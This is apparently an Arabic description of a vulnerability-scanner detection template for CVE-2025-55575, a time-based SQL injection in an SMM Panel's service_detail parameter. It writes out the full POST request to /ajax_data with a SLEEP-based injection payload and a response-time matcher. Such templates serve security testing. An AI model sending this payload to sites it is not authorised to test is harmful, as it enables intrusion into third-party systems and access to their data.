aether-0/cve-2025-55575قالب كشف حقن SQL القائم على الوقت لـ SMM Panel يستهدف معلمة service_detail عبر طلبات POST مصممة إلى /ajax_data، باستخدام تأخير الاستجابة لتأكيد الثغرة.
كشف حقن SQL المستند إلى الزمن للوحة SMM
يكشف هذا القالب عن ثغرة حقن SQL المستند إلى الزمن في المعامل service_detail في لوحة SMM عبر طلبات HTTP POST إلى /ajax_data. يمكن أن يسمح الاستغلال للمهاجمين عن بعد بالوصول إلى بيانات حساسة أو تصعيد الامتيازات.
ترسل الأداة طلب POST مصمم:
POST /ajax_data
Content-Type: application/x-www-form-urlencoded
action=service_detail&service=1624'XOR(if(now()=sysdate(),SLEEP(5),0))XOR'Z
إذا كان وقت الاستجابة أكبر من 5 ثوانٍ، فهذا يشير إلى نقطة نهاية ضعيفة.
- Method: POST
- Path: {{BaseURL}}/ajax_data
- Headers: Content-Type: application/x-www-form-urlencoded
- Body: action=service_detail&service=1624'XOR(if(now()=sysdate(),SLEEP(5),0))XOR'Z
- Matcher: duration > 5 seconds
